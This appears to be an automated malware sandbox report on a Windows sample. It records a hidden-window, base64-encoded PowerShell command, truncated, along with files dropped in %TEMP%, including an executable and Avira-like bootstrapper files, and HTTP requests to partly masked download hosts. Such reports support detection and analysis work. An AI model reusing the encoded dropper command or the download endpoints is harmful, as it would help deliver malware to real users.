Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZADkAZAB3AGQAdABwAD0AKAAnAE4AJwArACcAZwBzAHMAMgAnACsAJwBvAHkAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAHYAOgB0AGUAbQBwAFwAbwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AG...
Modifies file system
Creates the following files
- %TEMP%\office2019\ovx3kf.exe
- %TEMP%\.cr.5922\zh-cn\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.5922\tr-tr\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.5922\ru-ru\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.5922\pt-br\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.5922\nl-nl\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.5922\microsoft.windows.shell.dll
- %TEMP%\.cr.5922\ja-jp\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.5922\it-it\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.5922\fr-fr\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.5922\es-es\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.5922\endpointprotectionsdk.lic
- %TEMP%\.cr.5922\en-us\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.5922\dryiocattributes.dll
- %TEMP%\.cr.5922\dryioc.mefattributedmodel.dll
- %TEMP%\.cr.5922\dryioc.dll
- %TEMP%\.cr.5922\de-de\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.5922\avira.spotlight.bootstrapper.telemetry.interface.dll
- %TEMP%\.cr.5922\avira.spotlight.bootstrapper.logging.dll
- %TEMP%\.cr.5922\avira.spotlight.bootstrapper.exe.config
- %TEMP%\.cr.5922\avira.spotlight.bootstrapper.exe
- %TEMP%\.cr.5922\avira.spotlight.bootstrapper.engine.dll
- %TEMP%\.cr.5922\avira.spotlight.bootstrapper.core.dll
- %TEMP%\.cr.5922\avira.filedownloader.dll
- %TEMP%\.cr.5922\avira.common.mixpanel.dll
- %TEMP%\.cr.5922\antivirussetup.inf
- %TEMP%\.cr.5922\zh-tw\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\avira_spotlight_bootstrapper_2020-08-28_23-48-42.log
Network activity
TCP
HTTP GET requests
- http://no####deejays.com/wp-admin/gi_6ljy_9/
- http://cl###pectre.com/0_x9_l86icl169v/
UDP
- DNS ASK no####deejays.com
- DNS ASK cl###pectre.com
- DNS ASK pa####e.avira.com
Miscellaneous
Creates and executes the following
- '%TEMP%\office2019\ovx3kf.exe'
- '%TEMP%\.cr.5922\avira.spotlight.bootstrapper.exe' OriginalFileName=Ovx3kf.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZADkAZAB3AGQAdABwAD0AKAAnAE4AJwArACcAZwBzAHMAMgAnACsAJwBvAHkAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAHYAOgB0AGUAbQBwAFwAbwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AG...' (with hidden window)
